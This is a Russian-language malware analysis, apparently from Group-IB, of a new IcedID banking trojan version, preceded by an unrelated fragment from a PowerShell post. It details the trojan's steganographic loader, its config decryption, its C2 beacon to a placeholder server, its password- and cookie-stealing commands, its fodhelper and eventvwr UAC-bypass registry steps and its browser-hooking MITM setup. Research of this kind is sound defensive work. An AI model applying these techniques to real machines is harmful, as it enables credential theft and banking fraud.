* `((\D{2}\d{1,3})/|Po)(\d{1,3})(/\d{1,3})?`- регулярное выражение, призванное нами для нахождения портов. Оно ловит такие порты как: Fa5, Gi0/2, Te2/0/8, Po255 и т.п. (если вдруг что то забыл, пишите, я подправлю)
* Некоторые компьютеры у нас могут быть подключены через Cisco IP phone, по этому пришлось добавить еще пару строк, что бы это выяснять
* Так как нам не нужен вывод лишней информации (от Invoke-SSH), этот вывод мы дружно отправляем в никуда (out-null)` | https://habr.com/ru/post/149191/ | null | ru | null |
# IcedID – когда лед сжигает банковский счет
Какие три мысли возникали у вирусных аналитиков, когда они слышали о IcedID/BokBot? Конечно же про web-инжекты, proxy-сервер и быстрое обновление версий. Иногда настолько быстрое, что пока аналитик изучает версию, актуальную на момент начала исследования, — выходит новая. Какая фича была добавлена в этот список? Загрузчик со стеганографией. А что если вам скажут, что в новой версии не только главный модуль IcedID скрыт в изображении, но также и его конфигурационные файлы? Интересно? Тогда давайте разбираться. **Иван Писарев, специалист по анализу вредоносного кода Group-IB**, рассказывает, что нам приготовила новая версия этого печально знаменитого банковского трояна.
Об IcedID начали говорить еще в далеком ноябре 2017 года, когда его впервые описали исследователи из IBM X-Force. Уже на тот момент приложение имело богатый набор функциональных возможностей (proxy-сервер, web-инжекты, большой RAT-арсенал, VNC-модуль и т.д.), который продолжает активно пополняться. Мы тоже выпускали [статью](https://habr.com/ru/company/group-ib/blog/418189/) по данному банкеру, но с тех пор троян обзавелся новыми фишками, в том числе стал использовать стеганографию, чтобы скрывать конфигурационные данные в файловой системе и сетевом трафике. Об этом мы и расскажем подробно в данной статье.
Судя по целям бота, которые мы регулярно извлекаем из конфигурационных данных трояна, его интересы не сильно изменились: больше всего его интересуют клиенты американских банков. Но есть один интересный момент: в список целей попали фирмы, занимающиеся телекоммуникациями (AT&T) и мобильной связью (T-Mobile). Вот неполный список целей, которые атакует троян:
* Amazon.com
* eBay
* American Express
* AT&T
* T-Mobile
* Bank Of America
* Capital One
* Chase
* Wells Fargo
* J.P. Morgan
* Lloyds Bank
* Verizon Wireless
**Ещё**
* CIBC
* Comerica (comerica.com)
* Dell
* Discover
* Dollar Bank
* Erie Bank
* E-Trade
* Frost Bank
* Halifax UK
* Hancock Bank
* Huntington Bank
* M&T bank
* Centennial Bank
* PNC
* RBC
* Charles Schwab
* SunTrust Bank
* Synovus
* Union Bank (unionbank.com)
* USAA
* US Bank
Ну, пора переходить к самому интересному — исследованию трояна.
Распространение
---------------
Примечательно, что за трояном очень активно следит инфобез-сообщество по всему миру, поэтому если вы зайдете в Twitter и попробуете поискать по тегам **#IcedID** и **#BokBot**, то найдете огромное количество записей о том, как и когда осуществлялась последняя рассылка банкера. Пожалуй, самое интересное, что случилось с трояном за последнее время в плане заражения устройств, — появление новой стадии загрузчика, которая, как и предыдущая версия, загружает картинку со спрятанной внутри старой версией — загрузчиком второй стадии. Новый загрузчик уже описан [тут](https://sysopfb.github.io/malware,/icedid/2020/04/28/IcedIDs-updated-photoloader.html), поэтому не будем повторяться и просто упрощенно опишем схему заражения:
1. На устройство жертвы попадает вредоносный документ.
2. Документ загружает и запускает первую стадию загрузчика.
3. Загрузчик первой стадии загружает картинку с CnC, извлекает оттуда загрузчик второй стадии, сохраняет и запускает его.
4. Загрузчик второй стадии аналогично загружает картинку с CnC (адрес может быть другим), извлекает главный модуль IcedID и запускает его. Данная часть будет подробнее расписана далее.
Пример можно найти [здесь](https://www.malware-traffic-analysis.net/2020/05/01/index.html). Думаю, вопросов тут не осталось, поэтому давайте перейдем ко второй стадии.
Downloader/Loader — загрузчик второй стадии
-------------------------------------------
Основная задача данного загрузчика — получить главный модуль и запустить его. Вторая стадия может быть представлена в виде **exe** — или **dll**-файла, однако функциональных различий между двумя версиями нет. Поэтому давайте рассмотрим получение и запуск главного модуля на примере **dll**-файла.
Загрузчик представляет из себя DLL-файл с экспортируемой функцией **DllRegisterServer()**, которая циклично уходит в **Sleep()** на 1 секунду до тех пор, пока не поднят флаг окончания работ. Как вы увидите далее, новая версия загрузчика запускается в контексте процесса **regsvr32.exe**, а для корректного запуска необходима данная экспортируемая функция.
Все самое интересное происходит в функции **DllEntryPoint()**. Сам по себе загрузчик — достаточно маленькое приложение, которое выполняет следующие действия:
1. Обращается к файлу-изображению, которое содержит ядро IcedID. Естественно, при первом запуске на зараженной машине такого изображения нет, поэтому идем далее.
2. Обращается к CnC-адресам (список хранится в теле загрузчика в зашифрованном виде) и получает нагрузку. Запрос выглядит вот так:
Быстро опишем значения:
* **01** — захардкоженное значение.
* **BE0F1DE5** — тоже захардкоженное значение, которое впоследствии будет передано ядру IcedID. Далее будем называть его идентификатором загрузчика.
* **0272A7E4** — временная метка.
* **00000000000040000010** — информация о процессоре + временные замеры исполнения кода. Видимо, по данной переменной сервер может определять, исследуется ли на данный момент загрузчик, и не отдать ядро IcedID исследователю.
В ответ сервер отдает изображение, которое содержит shell-код и ядро.
3. Сохраняет файл (алгоритм генерации имен файлов рассмотрим далее).
4. Расшифровывает полученную нагрузку (далее также опишем формат, в котором хранятся зашифрованные данные). Нагрузка включает в себя заголовок, shell-код и ядро IcedID. Загрузчик из заголовка получает адрес точки входа (адрес хранится по смещению 8, просто держу в курсе) в shell-код и передает на него управление.
5. Shell-код запускает процесс **svchost.exe** (в некоторых исследованных сэмплах процесс был другой, к примеру **msiexec.exe**) в suspended-режиме и при помощи функций:
* NtAllocateVirtualMemory
* ZwWriteVirtualMemory
* NtProtectVirtualMemory
* NtQueueApcThread
Инжектит себя в новый процесс и запускает. Думаю, тут все понятно и подробнее расписывать не нужно.
6. Shell-код в контексте **svchost.exe** разворачивает ядро IcedID и передает на него управление.
Кажется, получилось сложновато. Давайте тогда картинкой:
*Схема заражения устройства IcedID*
Надеюсь, стало понятнее. Теперь переходим к самому интересному — описанию работы трояна.
IcedID core
-----------
### Предстартовая подготовка
Перед началом описания работы трояна стоит рассказать, в каком формате троян хранит строки, переменные, файлы и прочие данные. Думаю, это облегчит чтение статьи. Если для читателя данная часть не интересна — предлагаю сразу перейти к следующему разделу **Сразу после запуска**.
Итак, начнем.
#### Генерация BotId
В первую очередь троян генерирует BotId, так как данная переменная будет использована практически во всех дальнейших алгоритмах генерации имен файлов, мьютексов, ключей реестра и т.д. В новой версии IcedId, в отличии от старой, для генерации BotId используется всем известный алгоритм хеширования [fnv32](https://ru.wikipedia.org/wiki/FNV). BotId — это хеш-значение от строкового представления SID'а пользователя.
#### Генерация строк
В отличие от предыдущих версий, новая использует классическую random-функцию C++ с внутренним состоянием счетчика. То есть для генерации одной и той же строки достаточно инициализировать счетчик одинаковым значением. Для генерации строк, которые должны быть одинаковыми от запуска к запуску (например, имена директорий, конфиг-файлов, ключей реестра и т.д.), IcedID использует в качестве инициализирующего значения BotId. Если повторное использование строки не планируется, тогда в качестве инициализирующего значения используется результат инструкции **rdtsc**. Думаю, подробно рассматривать сам алгоритм генерации строк не столь интересно. Выделим важные моменты:
1. Генерируемые строки могут быть как в виде GUID, так и в «классическом» виде.
2. Для генерации «классических» строк используются:
* Пары алфавитов: **aeiou** и **bcdfghjklmnpqrstvwxyz**, при этом каждая пара символов принадлежит этим непересекающимся алфавитам (к примеру, если первый символ принадлежит первому алгоритму, то следующий символ в подстроке — строго из второго).
* Опционально может быть добавлена пара символов из алфавита **abcedfikmnopsutw**, при этом индексы этих символов генерируются не ГПСЧ, а высчитываются на основании подстроки, полученной на предыдущем этапе. Это важное уточнение, к которому мы вернемся чуть позже.
* Опционально могут быть добавлены целочисленные значения в конец генерируемой строки: 1, 2, 3, 4, 32, 64.
3. Для генерации пути директории может использоваться имя зараженного пользователя. При этом для хранения интересных с точки зрения IcedID файлов может быть создана не одна, а две вложенные директории.
#### Шифрование строк
Важные для работы IcedId строки (лог-строки, строки-параметры функций и т.д.) зашифрованы кастомным алгоритмом. Расшифровать их можно довольно просто при помощи следующего Python-скрипта:
```
def decrypt_string(ciphertext):
current_key = struct.unpack('I', ciphertext[:4])[0]
length = (struct.unpack('H', ciphertext[4:6])[0] ^ current_key) & 0xFFFF
ciphertext = ciphertext[6:]
plaintext = ''
for index in range(length):
current_key = (index + ((current_key << 25) | (current_key >> 7))) & 0xFFFFFFFF
plaintext = '{}{}'.format(plaintext, chr((current_key ^ ord(ciphertext[index])) & 0xFF))
return plaintext
```
При этом важно отметить, что значение сдвигов может меняться в зависимости от версии трояна.
#### Вычисление контрольной суммы
Данный алгоритм используется для проверки целостности конфиг-данных, а также для осуществления SSL-pinning:
#### Хранение глобальных переменных
Некоторые переменные, значение которых необходимо сохранять от запуска к запуску, троян сохраняет в реестре. Каждой переменной соответствует строка-значение — имя переменной. Чтение такой переменной происходит в четыре этапа:
1. Считается кастомное хеш-значение от имени переменной:
2. При помощи WinApi вычисляется MD5-значение от имени переменной и ее хеш-значения:
3. Генерируется путь до переменной в реестре:
**HKEY\_CURRENT\_USER\Software\Classes\CLSID\{%GUID%}**
где **%GUID%** — вычисленное выше MD5-значение в формате GUID и читает ее значение.
4. Расшифровывается при помощи следующего алгоритма:
где **customRandom**:
```
def custom_random(seed):
for _ in range(3):
seed = ror(seed)
seed ^= 0x9257
for _ in range(3):
seed = rol(seed)
seed = (seed + 0x29B6) & 0xFFFFFFFF
seed = ror(seed)
seed = (seed + 0xF411) & 0xFFFFFFFF
seed = rol(seed)
seed = (seed - 0x8668) & 0xFFFFFFFF
seed = seed ^ 0xFFFFFFFF
seed = (seed - 0x8260) & 0xFFFFFFFF
return seed
```
Если вы читали предыдущую [статью](https://habr.com/ru/company/group-ib/blog/418189/), то наверняка заметили, что изменений тут немного. Собственно, сохранение бот-переменной происходит в обратном порядке: сначала шифрование, затем запись.
Итак, в ходе исследования были обнаружены следующие переменные:
* **#lf** — log-filter
* **#ke** — kill edge
* **#dr** — url list, with signature
* **#dm** — url list, without signature
Важное замечание: по команде управляющего сервера может быть добавлено/удалено значение глобальной переменной. Именно так происходит обновление списка CnC-серверов. Кстати о CnC. После чтения и расшифровки глобальной переменной (**#dr**) троян еще проверят подпись. И да, у трояна есть встроенный открытый ключ:
#### Хранение конфигурационных данных
Конфигурационные данные IcedID хранит в отдельных зашифрованных файлах. Генерация имени файлов, а также директории, в которой они хранятся, описана выше. Основная отличительная черта новой версии трояна — хранение конфигов в **.png**-изображениях. Да-да, теперь не только основной модуль спрятан при помощи стеганографии, но и конфигурационные файлы. Давайте подробнее рассмотрим формат хранения полезной нагрузки в изображениях.
В каждом изображении присутствует объект вот такой структуры:
```
struct StegData
{
int ciphertextLen;
int magic;
int plaintextChecksum;
byte keyLen;
char[keyLen] key;
char[ciphertextLen];
};
```
А вот и пример:
Алгоритм шифрования — RC4. В некоторых случаях (например, конфиг-файлы) изображение не содержит ключ, тогда в качестве него выступает BotId.
И пару слов о конфиг-файлах: после их расшифровки можно наблюдать следующее:
Как видите, магическая строка **zeus** осталась.
#### Логирование
Даже в очень хорошо написанной программе возникают проблемы, что уж говорить о банкере. Разработчик это понимал и поэтому добавил логирование почти на каждом шагу. По умолчанию оно выключено, но есть глобальная переменная **#lf**, которую можно изменить по команде сервера. Log filter — это целочисленная переменная, у которой первые три бита отвечают за тип событий, который необходимо логировать:
* [INFO]
* [WARN]
* [ERROR]
Кроме этого, переменная говорит трояну, в каких именно модулях стоит логировать события.
Логирование осуществляется в отдельный участок памяти, который по команде тоже может быть выгружен на сервер. Далее при анализе лог-строки нам еще не раз помогут.
### Сразу после запуска
В первую очередь троян генерирует BotID и собирает информацию о зараженной машине, которую впоследствии передает управляющему серверу. Как я и предрекал в [первой статье](https://habr.com/ru/company/group-ib/blog/418189/), главный модуль теперь тоже проверяет запуск на виртуальной машине двумя способами:
1. при помощи инструкции **rdtsc** (а также для чистоты эксперимента **cpuid** и функции **SwitchToThread**) 15 раз замеряет время исполнения кода
2. сравнивает первые 4 символа Vendor ID процессора со значениями:
* VMwa
* XenV
* Micr
* KVMK
* Lrp
* VBox
Интересное замечание: подтверждение запуска на виртуальной машине влияет только на запуск BC-модуля (будет описан позже), при этом модуль не запускается, только если система не прошла проверку по таймингам, значения VendorID игнорируются. Возможно, данная функция продолжает тестироваться и в дальнейшем будет доведена до идеала вместе с остановкой работы трояна на зараженной машине. На данный момент проверка достаточно слабая и почти не влияет на работу программы.
С BotId и информацией о системе чувствует троян пробуждение темной силы в себе, понимает, что отныне будет твориться история, которую необходимо сохранить для потомков. Как вы поняли, с данного этапа бот начинает логировать свои действия. Но перед тем, как записать первую строчку в девственно чистый участок памяти, троян пытается получить значение глобальной переменной **#lf**. Например, первое сообщение:
**[00:11:40] 2252| [INFO] bot.init > core init ver=20 pid=1234 id=456 ldr\_ver=3**
Из него мы узнаем, что, по мнению разработчиков, версия загрузчика — 4, а вот версия ядра уже 21. Далее идет стандартная схема, предотвращающая повторный запуск трояна на машине: создается мьютекс (выше мы описывали генерацию строки-имени мьютекса). Если мьютекс уже создан — банкер завершает работу. Опять же, небольшое замечание: перед созданием мьютекса приложение обращается к событию с другим именем, которое создается при обновлении загрузчика трояна. И благодаря этому событию новый процесс IcedID ожидает завершения работы старого, после чего начинает выполнять свои грязные дела.
И начинаются грязные дела с обеспечения персистентности трояна на зараженном устройстве. В первую очередь приложение проверяет имя файла. Те, кто не пропустил пункт **Генерация строк** в прошлом разделе, наверняка помнят, что один из шагов я особо выделил — добавление двух символов из алфавита **abcedfikmnopsutw**, индексы к которым генерируются на основании предыдущей подстроки. Собственно, троян повторно генерирует индекс и сравнивает два последних символа имени файла с шаблонным значением. Если файл прошел проверку — дальнейшие действия не требуются. Если же это первый запуск трояна — приложение создает директорию (или две, в зависимости от BotID) в **%APPDATA%** или **%LOCALAPPDATA%**, копирует туда файл-загрузчик, старый файл удаляет, после чего добавляет новую задачу при помощи COM-интерфейса **ITaskService**:
Если создать задачу не удалось — приложение по-старинке прописывает себя в автозапуск через реестр. При этом название значения реестра такое же, как название задачи. То есть в данном случае:
* Ключ реестра: **HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Run**
* Значение: **meayjiduge\_{94D3BBC9-24EA-411F-066A-A604B94A99DA}**
* Содержимое: путь к файлу-загрузчику
Важное замечание: загрузчик IcedID может быть не только **.exe**, но и **.dll**. В таких случаях его запуск происходит через **regsvr32.exe**, соответственно в задачу (реестр) будет прописан следующий путь:
**regsvr32.exe /s «C:\Users\<%Username%>\AppData\Local\lepuan\odnu\olniyueu3.dll»**
Установив себя в систему, приложение инициализирует список CnC-серверов. Происходит это в два этапа:
1. инициализация списка на основе переданных загрузчиком параметров
2. инициализация списка из глобальных переменных
Думаю, второй пункт необходимо расписать подробнее. Есть две глобальные переменные: **#dm** — хранит список CnC-серверов без подписи, и **#dr** — хранит подписанный список CnC-серверов. Переменная **#dm** используется опционально. Похоже, данная функция чисто для тестирования.
Кроме списка CnC-серверов приложение загружает конфигурационные файлы, которые теперь скрыты в **.png**-изображениях (то есть разработчики заменили обычное шифрование на стеганографию + шифрование). У IcedID есть два конфиг-файла, которые используются proxy-сервером (далее расскажу подробнее) для атаки MITM:
* **Main** — содержит список web-инжектов (в первой статье этот список назывался **cfg0**)
* **Sys** — содержит списки grab и ignore (**cfg1**)
На данном этапе подготовка для работы трояна полностью завершена, можно ~~выпускать Кракена~~ запускать три основных потока программы (далее для удобства будем называть их модулями):
* Alive
* Hooker
* BC
Как уже было указано ранее, модуль BC не запускается, если окружение не прошло проверку по таймингам (метод VM-detect). Далее подробно будет описан каждый поток-модуль. Ну а на этом процесс инициализации трояна закончен, главный поток уходит в бесконечный **Sleep()**.
### Alive-модуль
Данный модуль предназначен для периодического «отстукивания» на сервер, чтобы тот понимал: бот все еще жив и готов принимать команды. Перед запуском бот «засыпает» на минуту, после чего входит в бесконечный цикл обращения к серверу. Обращение к серверу осуществляется раз в 5 минут (хотя по команде сервера данное значение может быть изменено). Итак, как же выглядит запрос? Давайте сразу начнем с примера:
**GET /audio/?z=JmE9MTk1OTUxMzEwJmI9MzEzMTk0ODc4MyZjPTIwJmQ9MCZlPTEmZj0wJmc9MCZqPTAwMDBERUFERkFDRSZtPSU1NCUwMCU2NSUwMCU3MyUwMCU3NCUwMCU0MyUwMCU2RiUwMCU2RCUwMCU3MCUwMCU3NSUwMCU3NCUwMCU2NSUwMCU3MiUwMCU2RSUwMCU2MSUwMCU2RCUwMCU2NSUwMCZwPSU1NCUwMCU2NSUwMCU3MyUwMCU3NCUwMCU0NCUwMCU2RiUwMCU2RCUwMCU2MSUwMCU2OSUwMCU2RSUwMCU2RSUwMCU2MSUwMCU2RCUwMCU2NSUwMCZrPTMmbj00Jm89Ni4xLjc2MDEuMS4zMi4xJmw9JTU0JTAwJTY1JTAwJTczJTAwJTc0JTAwJTU1JTAwJTczJTAwJTY1JTAwJTcyJTAwJTZFJTAwJTYxJTAwJTZEJTAwJTY1JTAwJnc9ODE5MiZxPTMmdT0xNjM0MyZyPTM3MzU5Mjg1NTkmcz0zNzM1OTQzODg2JnQ9NTcwMDUmaD08JXBnaWQlPiZpPTwlZ2lkJT4mdj00MDQ= HTTP/1.1
Connection: Keep-Alive
Host: <%CnC%>**
Как видно из запроса, все самое интересное хранится в закодированных по Base64 данных. После раскодирования получаем интересную строку:
Вот такую информацию троян передает на управляющий сервер. Как видно из примера, строковые значения (все в UNICODE) закодированы URL-кодировкой. Синим выделены данные, которые передаются только во время первого отстука — регистрационные данные. Черным — данные, которые присутствуют во всех запросах. Красным — опциональные данные, включаются в запрос, только если трояну удалось получить значение соответствующей переменной. Кстати о переменных — вот их значения:
| Переменная | Значение |
| --- | --- |
| a | ID загрузчика |
| b | ID бота |
| c | Версия главного модуля IcedID |
| d | Целочисленное значение, которое получает главный модуль от загрузчика |
| e | Тип запроса: 1 — регистрация, 0 — обычный запрос |
| f | Подтип запроса |
| g | Флаги запроса |
| j | MAC-адрес сетевого устройства. Количество таких записей зависит от количества сетевых устройств. |
| m | Имя компьютера, в данном примере — **TestComputername** |
| p | Имя домена, в котором расположено устройство, в данном примере — **TestDomainname** |
| k | Целочисленное значение |
| n | Целочисленное значение, содержит информацию о запуске на виртуальной машине |
| o | Информация об ОС |
| l | Имя пользователя, в данном примере — **TestUsername** |
| w | Целочисленное значение, информация получена из SID'а пользователя |
| q | Версия загрузчика |
| u | Метка времени |
| r | Контрольная сумма **Sys**-конфига |
| s | Контрольная сумма **Main**-конфига |
| t | Контрольная сумма CnC-списка |
| h | Строковое значение, которое приложение получает от загрузчика и помечает его как **pgid**. К сожалению, в ходе исследования нескольких версий трояна значение получить не удалось. |
| i | Строковое значение, которое приложение получает от загрузчика и помечает как **gid**. К сожалению, в ходе исследования нескольких версий трояна значение получить не удалось. |
| v | Значение функции **GetLastError** при открытии файла-загрузчика. |
В ответ сервер отправляет пакет, содержащий **fast**-команду и параметры, разделенные символом **;**. Перед обработкой команды приложение ищет следующие подстроки в ответе и заменяет их на соответствующие значения:
* **#gid#** — строковое значение, которое главный модуль получает от загрузчика
* **#pgid#** — строковое значение, которое главный модуль получает от загрузчика
* **#id#** — ID бота
* **#pid#** — ID загрузчика
* **#domain#** — CnC
* **front://** — заменяет на **https://<%CnC%>**
Ну а теперь давайте быстро опишем **fast**-команды:
| Команда | Описание | Выполняемые действия |
| --- | --- | --- |
| 1 | update pack | Обновить изображение, в котором скрыт главный модуль IcedID. После успешной загрузки приложение запускает новый процесс загрузчика, работа текущего останавливается. |
| 2 | update loader | Обновить загрузчик. После успешной загрузки и установки персистентности приложение запускает новый процесс загрузчика, работа текущего останавливается. |
| 3 | update urllist | Обновить CnC-список. После проверки подписи приложение зашифровывает СnC-список и сохраняет его в глобальную переменную **#dr**. |
| 4 | update sys config | Обновить конфиг-файл, содержащий список grab (**cfg1**). После сохранения файла список в трояне также обновляется. |
| 5 | update main config | Обновить конфиг-файл, содержащий список web-инжектов (**cfg0**). После сохранения файла список в трояне также обновляется. |
| 6 | alive force | Отправить alive-запрос незамедлительно. Опционально можно повторно отправить регистрационный запрос. |
| 7 | set alive timeout | Изменить период обращения к серверу. Новое значение приходит как параметр. |
| 8 | get log | Отправить на сервер лог-данные. |
| 9 | set log filter | Изменить значение лог-фильтра. Значение приходит как параметр, записывается в глобальную переменную **#lf** и обновляется в приложении. |
| 10 | var set | Изменить значение глобальной переменной. Имя переменной и ее значение приходит как параметр. |
| 11 | var get | Получить значение глобальной переменной. Имя переменной приложение получает как параметр. |
| 12 | var del | Удалить глобальную переменную. Имя переменной приложение получает как параметр. |
| 13 | get process list | Отправить на сервер список запущенных процессов. |
| 14 | desk link | Получить список файлов на рабочем столе, для **.lnk**-файлов также записывает путь к файлу, на который ссылается. Работа с **.lnk**-файлами осуществляется через COM-интерфейс **IShellLinkA**. |
| 15 | sysinfo | Собрать информацию о зараженной машине и отправить на сервер. |
| 16 | exec | Запустить процесс, путь к исполняемому файлу приложение получает как параметр. |
| 17 | dlexec | Загрузить и исполнить файл. Адрес нагрузки и аргументы запуска приложение получает в качестве параметров. Файл сохраняется либо в директорию **%TEMP%**, либо в **c:\ProgramData\**. |
| 18 | run cli | Запустить процесс, результат работы процесса отправить на сервер. |
| 19 | run shellcode | Загрузить shell-код, заинжектить его в новый процесс **cmd.exe** и исполнить. |
| 20 | reboot | Перезагрузить устройство. |
| 21 | file search | Найти файл с именем по шаблону (приходит как параметр) и отправить на сервер. |
| 22 | file get | Отправить определенный файл на сервер. Имя файла приложение получает как параметр. |
| 23 | dump pass | Извлечь сохраненные пароли из Credential Manager, Outlook, Internet Explorer, Winmail, Google Chrome, Firefox и отправить их на сервер. |
| 24 | dump cookie | Извлечь cookie-данные и отправить их на сервер. |
| 25 | DlExecAdmin | Аналогично **dlexec**, однако запуск приложения осуществляется с обходом UAC. Если прав у IcedID недостаточно — запуск производится от имени обычного пользователя. |
| 26 | run bc | Запустить BC-модуль. |
Давайте подробнее распишу некоторые команды:
* **update** — команды. В качестве параметра приходит адрес, с которого необходимо загрузить изображение. Изображение содержит зашифрованную по RC4 полезную нагрузку.
* **sysinfo** — приложение собирает информацию о зараженной системе, запуская следующие процессы и сохраняя результат их работы:
**– cmd /c chcp
– WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get \* /Format:List
– ipconfig /all
– systeminfo
– net config workstation
– nltest /domain\_trusts
– nltest /domain\_trusts /all\_trusts
– net view /all /domain
– net view /all**
* **DlExecAdmin** — обход UAC может осуществляться двумя способами:
1. Через утилиту **fodhelper.exe**. Для этого приложение создает новый ключ реестра **HKCU\Software\Classes\ms-settings\Shell\Open\command**, куда записывает два значения:
+ **DelegateExecute** — пустое
+ **(default)** — содержит путь к исполняемому файлу, загруженному с сервера
После этого приложение запускает **fodhelper.exe**, и вместе с ним в обход UAC запускается полезная нагрузка.
2. Через утилиту **eventvwr.exe**. Для этого приложение создает новый ключ реестра **HKCU\Software\Classes\mscfile\shell\open\command**, куда в стандартное значение записывает путь к файлу-нагрузке, после чего запускает **eventvwr.exe**.
Ну и напоследок хотел бы рассказать об одной интересной фиче, которую заметил в последний момент: автор трояна разработал довольно интересный метод SSL-pinning'а: перед установкой соединения приложение при помощи функции **WinHttpSetStatusCallback()** устанавливает обработчик на события **WINHTTP\_CALLBACK\_STATUS\_REQUEST\_SENT** (данные успешно отправлены на сервер) и **WINHTTP\_CALLBACK\_STATUS\_SENDING\_REQUEST** (срабатывает перед отправкой данных на сервер), но сама функция обработки игнорирует все события, кроме **WINHTTP\_CALLBACK\_STATUS\_SENDING\_REQUEST**. При срабатывании события приложение «вытаскивает» из запроса данные о сертификате сервера, считает контрольную сумму от открытого ключа сервера и сравнивает получившееся значение с серийным номером сертификата. Если оно совпадает — приложение признает, что сервер не подменен, иначе закрывает соединение. Ну а сама функция выглядит вот так:
### Hooker-модуль
Как любой уважающий себя современный банкер, IcedID умеет осуществлять атаку MITM. За это отвечает hooker-модуль, работу которого можно условно разделить на три основные части:
1. Генерация самоподписанного сертификата
2. «Поднятие» proxy-сервера
3. Инжектирование собственного модуля в контекст браузера
А теперь подробнее о каждой части.
#### Генерация самоподписанного сертификата
Как известно, все самые вкусные для банкеров данные сейчас передаются через HTTPS. Получить такие данные путем простого прослушивания трафика между браузером жертвы и, к примеру, сервером банка не получится, ведь все закрыто SSL. Однако разработчики нашли выход из столь интересной ситуации: они ставят свой сертификат. Но для того, чтобы его поставить, сначала его нужно сгенерировать. Специально для генерации сертификата у IcedId есть вот такая строка:
**C=US; O=VeriSign, Inc.; OU=VeriSign Trust Network; OU=© 2006 VeriSign, Inc. — For authorized use only; CN=VeriSign Class 3 Public Primary Certification Authority — G5**
Ничего не напоминает? Ну конечно же — это **Certificate Subject**! Для подписи сертификата необходима пара открытый/закрытый ключ. Генерируется она при помощи CryptoAPI-функции **CryptGenKey()**, в качестве имени контейнера ключа используется **MD5(<%BotId%><%Certificate Subject%>)**. Ну а сам сертификат создается при помощи функции **CertCreateSelfSignCertificate()**, используя дуэт SHA1 и RSA, ранее созданную ключевую пару и информацию об издателе. Сертификат создается на три года, начиная ровно с года назад и до двух лет вперед. Если сгенерировать сертификат по какой-то причине не удалось — у трояна есть план B на такой случай: заранее подготовленный и зашифрованный в теле сертификат и ключ, который он подгружает и использует вместо неудачно сгенерированного.
Думали, на этом все? А вот нет. Сгенерированный самоподписанный сертификат необходим трояну только для подписи второго сертификата, который уже используется для атаки MITM. В качестве информации об издателе выступает строка:
**CN=.com**
Процедура генерации сертификата (в том числе имени контейнера) аналогична генерации корневого сертификата (за исключением того, что сертификат подписывается ключом ранее сгенерированного/импортируемого сертификата). И если снова что-то пошло не так — подгружается также ранее подготовленный и сохраненный в теле трояна ключ и сертификат (хранится в зашифрованном виде).
Важно также заметить, что троян создает хранилище сертификатов в файле **%TEMP%/<%BotId%>.tmp** и помещает туда сертификат. Таким образом, при следующем запуске трояну не нужно будет генерировать/импортировать сертификат повторно. Достаточно получить его из хранилища.
#### Запуск сервера
После генерации сертификата приложение начинает прослушивать порт **<%BotId%> % 14000 – 15536** и, в зависимости от Main- и Sys-конфигов, делать свои темные дела. В [прошлой статье](https://habr.com/ru/company/group-ib/blog/418189/) подробно расписано, как происходит обработка трафика, и даже предоставлена ссылка на Python-скрипты, парсящие конфиги. Сильных изменений в этой части не обнаружено, так что, думаю, тут повторять нет смысла, идем дальше.
#### Патч браузеров
Итак, троян поднял свой сервер с собственным сертификатом. Что же еще осталось? Ах да: заставить браузеры редиректить все запросы на этот прокси-сервер и «поверить» сгенерированному сертификату. Для этого IcedID в бесконечном цикле с интервалом в секунду пробегается по списку запущенных приложений и ищет в их рядах браузер. Поиск осуществляется по контрольной сумме от имени процесса, которая вычисляется следующим образом:
И после сравнивает с захардкоженными значениями:
* **0x9EFDE0C4** — firefox.exe
* **0x9F96A0E0** — microsoftedgecp.exe
* **0x534B083E** — iexplore.exe
* **0x7A257A14** — chrome.exe
В целом алгоритм вычисления контрольной суммы не менялся в разных версиях банкера, однако константа **0x801128AF** была другой, соответственно для других версий трояна чексуммы названий процессов будут иными. Кроме сравнения по контрольной сумме, IcedID также сравнивает имя процесса посимвольно:
Если обнаружено совпадение по имени — троян инжектит собственный код в контекст браузера. Во все, кроме Microsoft Edge. Более того — если на зараженном устройстве присутствует глобальная переменная **#ke**, то бот убивает процесс **microsoftedgecp.exe**. Похоже, разработчики не придумали, как инфицировать данный браузер. Либо он им просто не нравится.
Перед патчем браузера приложение проверяет, не был ли он ранее заражен. У приложения есть список зараженных PID'ов. Кроме этого, после инфицирования код инжектированного модуля IcedID в процессе браузера создает событие с именем: **<%generated\_eventname%>\_<%browser\_pid%>**. Если событие с таким именем не создано — процесс не заражен. Нужно это исправить!
Сейчас будет немного нудно. Главный модуль IcedID содержит в своем теле исполняемый файл, предназначенный для установки хуков на интересные трояну функции. Давайте далее называть его **hooker**. Однако, как и главный модуль, данный файл хранится в теле трояна в собственном формате и не имеет PE-заголовка. Информация о точке входа, секциях и т.д. находится в кастомном заголовке. Перед тем, как заразить процесс браузера, троян в собственном процессе «разворачивает» секции, после чего выделяет два участка памяти в контексте браузера. В первый, как вы, наверное, догадались, будет скопирован уже развернутый **hooker**. Во второй участок будут скопированы аргументы, необходимые для запуска перехватчика (в том числе порт прокси-сервера). После этого в контексте браузера при помощи функции **CreateRemoteThread()** будет создан вредоносный поток.
И вот тут начинается веселье. В контексте браузера **hooker** в первую очередь чинит собственный импорт (куда же без него), после чего создает ранее упомянутое событие: **<%generated\_eventname%>\_<%browser\_pid%>**. Процесс установки хуков, думаю, лучше продемонстрировать в виде картинки на примере функции **connect()**:
Как видно из примера, приложение просто устанавливает jmp-инструкцию в начале перехватываемой функции на собственный обработчик (haha classic). В зависимости от браузера вредоносный модуль ставит хуки на разные функции:
* **chrome.exe:**
+ CertGetCertificateChain
+ CertVerifyCertificateChainPolicy
+ сonnect
* **iexplore.exe:**
+ CertGetCertificateChain
+ CertVerifyCertificateChainPolicy
+ Функция из библиотеки mswsock.dll
+ сonnect
* **firefox.exe:**
+ SSL\_AuthCertificateHook или функция из библиотеки SSL3.dll
+ сonnect
Хуки на функции работы с сертификатами и SSL ставятся с единственной целью — заставить браузер принимать любой сертификат, в том числе самоподписанный. К примеру, когда в контексте **firefox.exe** происходит вызов функции **SSL\_AuthCertificateHook()**, предназначенной для изменения функции проверки сертификата на свою собственную, **hooker** меняет второй аргумент (как раз функция проверки) на свой обработчик:
Обработчик функции **connect()**, в свою очередь, предназначен для того, чтобы перенаправлять все соединения браузера на proxy-сервер. Hooker заменяет IP-адрес назначения на **127.0.0.1**, а порт — на порт proxy-сервера. После успешного подключения к Proxy-серверу IcedID отправляет следующие данные:
* IP и порт назначения
* Тип браузера
* Информацию, полученную в качестве аргумента от главного модуля
